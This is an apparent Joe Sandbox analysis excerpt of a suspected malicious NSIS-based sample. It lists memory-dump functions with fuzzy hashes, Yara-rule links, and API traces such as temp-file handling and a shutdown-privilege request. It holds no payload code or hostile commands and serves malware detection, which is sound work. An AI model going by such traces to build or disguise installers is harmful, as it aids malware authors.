Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 783eb69d8e2c6bb2e9c0f2b0ab0d40060ccdaf590a48e73ad96ec0456a02f8b5
Instruction ID: 4bb9e49596f69f6bc8f614dbbe4da302a9b8d60d05e4436f96df1b057e7ba4f6
Opcode Fuzzy Hash: 783eb69d8e2c6bb2e9c0f2b0ab0d40060ccdaf590a48e73ad96ec0456a02f8b5
Instruction Fuzzy Hash: 14015A39E11684CFDB01DFB4D8642EDBBB1AF8B301F549069C404A7321DB35884ACF60

Function 0011FC38 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b29ed9b63c1907b10572548a97b14108501c1c575801fb0ee9f6288c64224f8
Instruction ID: a2750a77c0defb4e93767873bd369aa84be05f7c70672a6f2758c43828702166
Opcode Fuzzy Hash: 6b29ed9b63c1907b10572548a97b14108501c1c575801fb0ee9f6288c64224f8
Instruction Fuzzy Hash: DF018134D00608DFDB08CFA5D8086E977B6FB8A311F404438E505B72A0DB7A9E96CF50

Function 38EDCE60 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8ee5f5bb4cfbe4d7555b570a77f74da082726bdb0a4f9d40d8791da43adbdf2
Instruction ID: 0ea21db14bf63c4dab0078149d03a1a3cdc861db6f79cc913db3693e485900ea
Opcode Fuzzy Hash: d8ee5f5bb4cfbe4d7555b570a77f74da082726bdb0a4f9d40d8791da43adbdf2
Instruction Fuzzy Hash: 6CF01475D11608CFDB44DFA9D8846EDB7B6EF8A301F509429C804B3251DB39991ACB64

Function 38ED964C Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdb91b9ed0f104673c25c0475cb4a91855c570c7376c25885f60c1317a978fe8
Instruction ID: 8fa15d156d9b3d5bd7378e29fd39284e4f1f7188e11f3c8d2cb94e9a49cfd82d
Opcode Fuzzy Hash: fdb91b9ed0f104673c25c0475cb4a91855c570c7376c25885f60c1317a978fe8
Instruction Fuzzy Hash: 52F0A0213C12049BD2086AED5995B7B6A9E9FC1391B014836E502D6358EEA9DC0E43F1

Function 0011B158 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 661a8982ab26dcf8ede33793b6926bbf3af0c37a7698a3a66bec7f16a2d8a3a2
Instruction ID: b6e54e7fd5f0a9822bef70ac6f5c0eafb7ec2ab91c45fa3b58e4ee99dbf36ba0
Opcode Fuzzy Hash: 661a8982ab26dcf8ede33793b6926bbf3af0c37a7698a3a66bec7f16a2d8a3a2
Instruction Fuzzy Hash: D4F0AC3445AF42AFE3012B30BCBC6AA7F75FB4B313B852D51E08AC2072CB684564CB51

Function 0011FE10 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc8e304e704d6d086e14f8301647c1d5e8aff342297c7d2d939a19f5d6a21f50
Instruction ID: c143336bb574baf90b513e3b78f62c72ad97b933a05c122ab48c6b81e3f21682
Opcode Fuzzy Hash: bc8e304e704d6d086e14f8301647c1d5e8aff342297c7d2d939a19f5d6a21f50
Instruction Fuzzy Hash: E5F03034D15608DFD704DFB8E50879DBBF5EB49301F6045B99805A32A1E7349E85CB40

Function 00111877 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 507f1c776762bf1e30347c9d5da7da85037ce9ca83882d43e13a1a01bea26efa
Instruction ID: bdcefb0a66fdbac6654c122d4f89756547aabf6f4bff557ebc10a6c96ba2f3da
Opcode Fuzzy Hash: 507f1c776762bf1e30347c9d5da7da85037ce9ca83882d43e13a1a01bea26efa
Instruction Fuzzy Hash: 46E02636C1026A5ACB119AA0AC006EEB730EF91215F85422AC41936140EB74150ECBA1

Function 0011FE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe5c215c3e74680e28ffec6fb1692d343bc839e35632318cd26af2d7d420e5fb
Instruction ID: 4a315137d3ffbe3b2095394fb0d4ae93634ae9bb6afba5b6556e5cb4a7d986df
Opcode Fuzzy Hash: fe5c215c3e74680e28ffec6fb1692d343bc839e35632318cd26af2d7d420e5fb
Instruction Fuzzy Hash: 85E06538D06208DFCB08DFB8E40869CBBF5AB49301F6080BA9809A3220E7308A81CB40

Function 00111888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44c4b749df75aaa773fe218d8dd23e9c9d6ac7c1e905940bba32e5042f163283
Instruction ID: 2d6707e3fd42b7d1f3103e89c27e73df1d19edefd0e9b4ef59037cf632b731a8
Opcode Fuzzy Hash: 44c4b749df75aaa773fe218d8dd23e9c9d6ac7c1e905940bba32e5042f163283
Instruction Fuzzy Hash: 67D05B31D2022B97CB11E7A5DC044DFF738EED5265B504626D51837140FB703659C6E1

Function 0011FF21 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66ae4e6738f2eeb019e52344e20f5b3a8a1a75fca599a4fc1d0208e8cf0813e1
Instruction ID: edf79f5b9d19f60c10cc630b64f4b44af5a8dd590feb1a0ca6b73e8dee789a91
Opcode Fuzzy Hash: 66ae4e6738f2eeb019e52344e20f5b3a8a1a75fca599a4fc1d0208e8cf0813e1
Instruction Fuzzy Hash: 73D05E30C191099FD745DBA8E805BEABB74EF47302F1045FDD809A36A0D7B24D65EB45

Function 001156FF Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9724ae9ca6ce1a5d0a5358ea56a6dc74d47cc71d114da84a663edc6f3aba536d
Instruction ID: 2b8f4e468f6f7cc4d45e8c6713d981522a42ae9761e4e89d1c316a512a248a0d
Opcode Fuzzy Hash: 9724ae9ca6ce1a5d0a5358ea56a6dc74d47cc71d114da84a663edc6f3aba536d
Instruction Fuzzy Hash: C1E0CD3104C3444FC645EB30DC55A897F7EAF81200F044565D0450B57BEF7C9645CB61

Function 00119F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c9c2e73dfe233eb835cdceb9aed980011de6d174c1916721005b46a2fcff9a
Instruction ID: c7bb2862e785b1d1024953e54d8f51d0ac39be4cbac861ddb45f70cd25ccd6cd
Opcode Fuzzy Hash: a2c9c2e73dfe233eb835cdceb9aed980011de6d174c1916721005b46a2fcff9a
Instruction Fuzzy Hash: 6ED0673AB40018DFCB049F98EC808DDFB76FB98221B048117EA15A3261C7319965DB50

Function 38EDCF31 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b225112ef7e482f886d945b907ee5165ed680f4499849afbab754db99f1cdcc4
Instruction ID: bcbdcb2d81a5120929655aef96e3f9eb282b120b47c8245de9417ac414e00051
Opcode Fuzzy Hash: b225112ef7e482f886d945b907ee5165ed680f4499849afbab754db99f1cdcc4
Instruction Fuzzy Hash: A0D05E3164C2C08FC71387B4A8605C03F705F8720074904CAD485CFA73C155A858DF01

Function 0011FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed26b0d566ca21af416bf379c05736eb3de957f86feec77c3fad8c9b190bf864
Instruction ID: abd933b1d7dfc317f91e3f10979efd2999e6c8dec1bda7c0ca06470b18b4e516
Opcode Fuzzy Hash: ed26b0d566ca21af416bf379c05736eb3de957f86feec77c3fad8c9b190bf864
Instruction Fuzzy Hash: 6CD0223080120CEFC304EFA4E809BE9B77CE743302F4000ACA40823260CBB14E50D784

Function 38EDD49D Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 888fdb950b0808c2495750914edb03feef56a40449c1dc8a31b094595d791b3a
Instruction ID: b776239298218e1e8bd18c86d11cb48c37e504dbdc0460fbcdcc0534c7ef0eb1
Opcode Fuzzy Hash: 888fdb950b0808c2495750914edb03feef56a40449c1dc8a31b094595d791b3a
Instruction Fuzzy Hash: D3D0A72374D3E10EC31B963874601CCFFA25D8211070C46F6D188CB2ABCE585A8EC3C9

Function 38ED961C Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 969882c3859ef794c3941bdf84e57b009c514768031763298adfdb909ba02e7b
Instruction ID: a3a89e88e4236465d02ef41a52d0b2e848ce4b309b9241d6029770721c6f1ffd
Opcode Fuzzy Hash: 969882c3859ef794c3941bdf84e57b009c514768031763298adfdb909ba02e7b
Instruction Fuzzy Hash: F2C080333955104F8618725C7840DDF569DCDC5360711C937F014C32285D5CED4F81C8

Function 38EDBD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8d265a460c6bb5e06c77920c095028be3129ef09450bcc7ea2b57fff0c70047
Instruction ID: a42fd0637e732eaf5d08744dcc8d715ba7cfce3711b453e252c99f36adda3335
Opcode Fuzzy Hash: d8d265a460c6bb5e06c77920c095028be3129ef09450bcc7ea2b57fff0c70047
Instruction Fuzzy Hash: 94C08C74051E098FE2042F60BC0CB7AB7B8B747317FC82D10E00C02831CBB88428C644

Function 00115710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 447cc0b0d3dff9ab8237b9492139cde6ba4dd973885ea5176f0b648b52f60f95
Instruction ID: 02a4d2148a21a3fbcb750f4d9063e5e5fce9ecabf9d7341e0546b6f85bfb3d0c
Opcode Fuzzy Hash: 447cc0b0d3dff9ab8237b9492139cde6ba4dd973885ea5176f0b648b52f60f95
Instruction Fuzzy Hash: 5FC012301857088EC989EB75ED46A59777EAB80204F508520A10A0657EEFBC594A8A90

Function 0011FFB0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e3a7dd19e47d51fd143caafdf6fce2d9bf5fd3caf1041e3ece393cb398aa8fa
Instruction ID: 0ef8b7546c9443f09911d6b02b06b8804f39dd27bfd5328945022468437b7b8d
Opcode Fuzzy Hash: 6e3a7dd19e47d51fd143caafdf6fce2d9bf5fd3caf1041e3ece393cb398aa8fa
Instruction Fuzzy Hash: 47C01239614201ABD701AA70D940B4FFFD2ABC4740F008C18A04C53160D134DA128A02

Function 38ED9544 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a11addb8de37e1623466f2ef41210795f6471f9b506a46961d6a88927519570
Instruction ID: 7b50d7c78144b8c3ca147a68520255f7bb7568213a1ca69af315324c152c8e6c
Opcode Fuzzy Hash: 3a11addb8de37e1623466f2ef41210795f6471f9b506a46961d6a88927519570
Instruction Fuzzy Hash: EEC08C302AC6088FE2009A1DC984A5133ACEF85B04F0018E0F1048B735CA22FC088604

Non-executed Functions

Function 004032A0 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 401stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,0043F000,00000000), ref: 00403363
CharNextW.USER32(00000000,0043F000,00000020), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,00441800), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(00441800,000003FB), ref: 004034D6
lstrcatW.KERNEL32(00441800,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,00441800,00441800,\Temp), ref: 004034F6
lstrcatW.KERNEL32(00441800,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,00441800,00441800,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,00441800), ref: 00403517
DeleteFileW.KERNEL32(00441000), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(00441800,~nsu,0043F000,00000000,?), ref: 0040362B
lstrcatW.KERNEL32(00441800,0040A26C,00441800,~nsu,0043F000,00000000,?), ref: 0040363A
lstrcatW.KERNEL32(00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(00441800,00440800,00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(00441800,00441800), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(00442800,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

NSIS Error, xrefs: 00403341
UXTHEME, xrefs: 004032E7
~nsu, xrefs: 00403623
TMP, xrefs: 00403512
USERENV, xrefs: 004032F1
Low, xrefs: 004034F8
SETUPAPI, xrefs: 004032FB
SeShutdownPrivilege, xrefs: 0040374D
.tmp, xrefs: 0040363F
Error launching installer, xrefs: 004035AD
TEMP, xrefs: 0040350A
\Temp, xrefs: 004034DC

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: .tmp$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-3972089011
Opcode ID: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,000000FC,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,000000F0), ref: 00404D61
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

M, xrefs: 00404CDA
N, xrefs: 00404DBB
, xrefs: 004050E9

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 38EDAFF8 Relevance: 23.0, Strings: 18, Instructions: 461COMMON

Download Yara Rule

Strings

0o@p, xrefs: 38EDB147
PH]q, xrefs: 38EDB345
Lj@p, xrefs: 38EDB4AE
Lj@p, xrefs: 38EDB5A6
PH]q, xrefs: 38EDB331
Lj@p, xrefs: 38EDB2AB
Lj@p, xrefs: 38EDB2C1
PH]q, xrefs: 38EDB62D
Lj@p, xrefs: 38EDB3A3
PH]q, xrefs: 38EDB51E
PH]q, xrefs: 38EDB532
PH]q, xrefs: 38EDB43D
Lj@p, xrefs: 38EDB498
Lj@p, xrefs: 38EDB3B9
", xrefs: 38EDB7CE
PH]q, xrefs: 38EDB619
Lj@p, xrefs: 38EDB590
PH]q, xrefs: 38EDB429

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: "$0o@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q
API String ID: 0-1947560563
Opcode ID: a77cbcf15b104b1c57741ca7da6cfb117e55118ffd2a3b58ea2e86b08a71aab2
Instruction ID: dd957449bc5f9e493e6780d98f44d05ff4b2426804dc2c408e0e490c597e71f9
Opcode Fuzzy Hash: a77cbcf15b104b1c57741ca7da6cfb117e55118ffd2a3b58ea2e86b08a71aab2
Instruction Fuzzy Hash: 6F329E74E41218CFDB54CF69C994B9DBBB2BF89304F1080A9D809AB361DB759E89CF14

Function 00405846 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,75923420,00441800,0043F000), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,75923420,00441800,0043F000), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,75923420,00441800,0043F000), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,75923420,00441800,0043F000), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,75923420,00441800,0043F000), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 38EDAFE8 Relevance: 12.9, Strings: 10, Instructions: 361COMMON

Download Yara Rule

Strings

0o@p, xrefs: 38EDB147
PH]q, xrefs: 38EDB345
PH]q, xrefs: 38EDB62D
PH]q, xrefs: 38EDB51E
PH]q, xrefs: 38EDB532
PH]q, xrefs: 38EDB331
PH]q, xrefs: 38EDB43D
PH]q, xrefs: 38EDB619
", xrefs: 38EDB7CE
PH]q, xrefs: 38EDB429

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: "$0o@p$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q
API String ID: 0-455001714
Opcode ID: e1ff92952e4558ad97fe4a4d7d42b5cb15eff68f2b96548d6a825d728725bf6f
Instruction ID: 550fdf78e433bd4ba7c6beb268d1cff6348b58be145172e35fc4e3c004758045
Opcode Fuzzy Hash: e1ff92952e4558ad97fe4a4d7d42b5cb15eff68f2b96548d6a825d728725bf6f
Instruction Fuzzy Hash: 3002A0B4E012188FDB58CF69C994B9DBBF2BF89304F1081A9D809A7365DB359E85CF10

Function 38EDAFF7 Relevance: 12.9, Strings: 10, Instructions: 361COMMON

Download Yara Rule

Strings

0o@p, xrefs: 38EDB147
PH]q, xrefs: 38EDB345
PH]q, xrefs: 38EDB62D
PH]q, xrefs: 38EDB51E
PH]q, xrefs: 38EDB532
PH]q, xrefs: 38EDB331
PH]q, xrefs: 38EDB43D
PH]q, xrefs: 38EDB619
", xrefs: 38EDB7CE
PH]q, xrefs: 38EDB429

Memory Dump Source

